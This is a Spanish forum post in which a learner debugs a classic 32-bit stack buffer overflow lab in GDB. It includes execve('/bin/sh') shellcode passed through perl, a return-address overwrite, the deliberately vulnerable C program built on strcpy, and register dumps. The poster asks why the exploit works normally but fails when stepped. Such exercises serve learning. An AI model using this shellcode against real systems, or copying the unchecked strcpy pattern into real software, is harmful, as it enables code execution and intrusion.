Hola, estoy depurando un programilla escrito en C para aprender el funcionamiento básico de los buffers overflows, lo cargo en GDB, lo corro y consigo ejecutar la shellcode con el resultado esperado, en cambio si meto un brakpoint y voy instrucción a instrucción el resultado es diferente:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'` Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'` buff_a is stored at 0xbffff700. buff_b is stored at 0xbffff6e8. buff_c is stored at 0xbffff6c8. process 4734 is executing new program: /bin/dash $
Con breakpoint: -- Desensamblo la función para saber donde me interesa meter el breakpoint: (gdb) disassemble func Dump of assembler code for function func: 0x080484ac <+0>: push %ebp 0x080484ad <+1>: mov %esp,%ebp 0x080484af <+3>: sub $0x78,%esp 0x080484b2 <+6>: lea -0x28(%ebp),%eax 0x080484b5 <+9>: mov %eax,0x4(%esp) 0x080484b9 <+13>: movl $0x8048620,(%esp) 0x080484c0 <+20>: call 0x8048360 <printf@plt> 0x080484c5 <+25>: lea -0x40(%ebp),%eax 0x080484c8 <+28>: mov %eax,0x4(%esp) 0x080484cc <+32>: movl $0x804863c,(%esp) 0x080484d3 <+39>: call 0x8048360 <printf@plt> 0x080484d8 <+44>: lea -0x60(%ebp),%eax 0x080484db <+47>: mov %eax,0x4(%esp) 0x080484df <+51>: movl $0x8048658,(%esp) 0x080484e6 <+58>: call 0x8048360 <printf@plt> 0x080484eb <+63>: movl $0x20,0x8(%esp) 0x080484f3 <+71>: mov 0x8(%ebp),%eax 0x080484f6 <+74>: mov %eax,0x4(%esp) 0x080484fa <+78>: lea -0x60(%ebp),%eax 0x080484fd <+81>: mov %eax,(%esp) 0x08048500 <+84>: call 0x80483b0 <strncpy@plt> 0x08048505 <+89>: movl $0x17,0x8(%esp) 0x0804850d <+97>: mov 0xc(%ebp),%eax 0x08048510 <+100>: mov %eax,0x4(%esp) 0x08048514 <+104>: lea -0x40(%ebp),%eax 0x08048517 <+107>: mov %eax,(%esp) 0x0804851a <+110>: call 0x80483b0 <strncpy@plt> 0x0804851f <+115>: lea -0x60(%ebp),%eax 0x08048522 <+118>: mov %eax,0x4(%esp) 0x08048526 <+122>: lea -0x28(%ebp),%eax 0x08048529 <+125>: mov %eax,(%esp) 0x0804852c <+128>: call 0x8048370 <strcpy@plt> 0x08048531 <+133>: leave 0x08048532 <+134>: ret End of assembler dump.
-- Meto el breakpoint: (gdb) break *func+133 Breakpoint 1 at 0x8048531
-- Vuelvo a ejecutar el programa: (gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'` Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'` buff_a is stored at 0xbffff700. buff_b is stored at 0xbffff6e8. buff_c is stored at 0xbffff6c8.
Breakpoint 1, 0x08048531 in func ()
-- Compruebo que estoy ejecutando la instarucción donde metí el breakpoint: (gdb) disassemble Dump of assembler code for function func: 0x080484ac <+0>: push %ebp 0x080484ad <+1>: mov %esp,%ebp 0x080484af <+3>: sub $0x78,%esp 0x080484b2 <+6>: lea -0x28(%ebp),%eax 0x080484b5 <+9>: mov %eax,0x4(%esp) 0x080484b9 <+13>: movl $0x8048620,(%esp) 0x080484c0 <+20>: call 0x8048360 <printf@plt> 0x080484c5 <+25>: lea -0x40(%ebp),%eax 0x080484c8 <+28>: mov %eax,0x4(%esp) 0x080484cc <+32>: movl $0x804863c,(%esp) 0x080484d3 <+39>: call 0x8048360 <printf@plt> 0x080484d8 <+44>: lea -0x60(%ebp),%eax 0x080484db <+47>: mov %eax,0x4(%esp) 0x080484df <+51>: movl $0x8048658,(%esp) 0x080484e6 <+58>: call 0x8048360 <printf@plt> 0x080484eb <+63>: movl $0x20,0x8(%esp) 0x080484f3 <+71>: mov 0x8(%ebp),%eax 0x080484f6 <+74>: mov %eax,0x4(%esp) 0x080484fa <+78>: lea -0x60(%ebp),%eax 0x080484fd <+81>: mov %eax,(%esp) 0x08048500 <+84>: call 0x80483b0 <strncpy@plt> 0x08048505 <+89>: movl $0x17,0x8(%esp) 0x0804850d <+97>: mov 0xc(%ebp),%eax 0x08048510 <+100>: mov %eax,0x4(%esp) 0x08048514 <+104>: lea -0x40(%ebp),%eax 0x08048517 <+107>: mov %eax,(%esp) 0x0804851a <+110>: call 0x80483b0 <strncpy@plt> 0x0804851f <+115>: lea -0x60(%ebp),%eax 0x08048522 <+118>: mov %eax,0x4(%esp) 0x08048526 <+122>: lea -0x28(%ebp),%eax 0x08048529 <+125>: mov %eax,(%esp) 0x0804852c <+128>: call 0x8048370 <strcpy@plt> => 0x08048531 <+133>: leave 0x08048532 <+134>: ret End of assembler dump.
-- Consulto el estado de los registros: (gdb) info registers eax 0xbffff700 -1073744128 ecx 0x0 0 edx 0x31 49 ebx 0xb7fd5ff4 -1208131596 esp 0xbffff6b0 0xbffff6b0 ebp 0xbffff728 0xbffff728 esi 0x0 0 edi 0x0 0 eip 0x8048531 0x8048531 <func+133> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
-- Avanzo una instrucción: (gdb) stepi 0x08048532 in func ()
-- Consulto el estado de los registros: (gdb) info registers eax 0xbffff700 -1073744128 ecx 0x0 0 edx 0x31 49 ebx 0xb7fd5ff4 -1208131596 esp 0xbffff72c 0xbffff72c ebp 0x43434343 0x43434343 esi 0x0 0 edi 0x0 0 eip 0x8048532 0x8048532 <func+134> eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
-- Consulto por que parte del código voy: (gdb) disassemble Dump of assembler code for function func: 0x080484ac <+0>: push %ebp 0x080484ad <+1>: mov %esp,%ebp 0x080484af <+3>: sub $0x78,%esp 0x080484b2 <+6>: lea -0x28(%ebp),%eax 0x080484b5 <+9>: mov %eax,0x4(%esp) 0x080484b9 <+13>: movl $0x8048620,(%esp) 0x080484c0 <+20>: call 0x8048360 <printf@plt> 0x080484c5 <+25>: lea -0x40(%ebp),%eax 0x080484c8 <+28>: mov %eax,0x4(%esp) 0x080484cc <+32>: movl $0x804863c,(%esp) 0x080484d3 <+39>: call 0x8048360 <printf@plt> 0x080484d8 <+44>: lea -0x60(%ebp),%eax 0x080484db <+47>: mov %eax,0x4(%esp) 0x080484df <+51>: movl $0x8048658,(%esp) 0x080484e6 <+58>: call 0x8048360 <printf@plt> 0x080484eb <+63>: movl $0x20,0x8(%esp) 0x080484f3 <+71>: mov 0x8(%ebp),%eax 0x080484f6 <+74>: mov %eax,0x4(%esp) 0x080484fa <+78>: lea -0x60(%ebp),%eax 0x080484fd <+81>: mov %eax,(%esp) 0x08048500 <+84>: call 0x80483b0 <strncpy@plt> 0x08048505 <+89>: movl $0x17,0x8(%esp) 0x0804850d <+97>: mov 0xc(%ebp),%eax 0x08048510 <+100>: mov %eax,0x4(%esp) 0x08048514 <+104>: lea -0x40(%ebp),%eax 0x08048517 <+107>: mov %eax,(%esp) 0x0804851a <+110>: call 0x80483b0 <strncpy@plt> 0x0804851f <+115>: lea -0x60(%ebp),%eax 0x08048522 <+118>: mov %eax,0x4(%esp) 0x08048526 <+122>: lea -0x28(%ebp),%eax 0x08048529 <+125>: mov %eax,(%esp) 0x0804852c <+128>: call 0x8048370 <strcpy@plt> 0x08048531 <+133>: leave => 0x08048532 <+134>: ret End of assembler dump.
-- Avanzo una instrucción: (gdb) stepi Cannot access memory at address 0x43434347
-- Consulto el estado de los registros: (gdb) info registers eax 0xbffff700 -1073744128 ecx 0x0 0 edx 0x31 49 ebx 0xb7fd5ff4 -1208131596 esp 0xbffff730 0xbffff730 ebp 0x43434343 0x43434343 esi 0x0 0 edi 0x0 0 eip 0xbffff6c8 0xbffff6c8 eflags 0x246 [ PF ZF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
Porque ejecutándolo sin breakpoints corre ok pero step a step no con la misma entrada? El debugger me cambia algo, posiciones de memoria, valores de registros....?
El código en C del programa es: #include <stdio.h> #include <string.h>
void func(char *str1, char *str2){ char buff_a[32]; char buff_b[24]; char buff_c[32]; printf(" buff_a is stored at %p.\n", &buff_a); printf(" buff_b is stored at %p.\n", &buff_b); printf(" buff_c is stored at %p.\n", &buff_c); strncpy(buff_c, str1, sizeof(buff_c)); strncpy(buff_b, str2, sizeof(buff_b)-1); strcpy(buff_a, buff_c); }
int main(int argc, char *argv[]){ if ( argc < 3 ){ printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]); exit(0); } func(argv[1], argv[2]); return 0; }
Un saludo.
|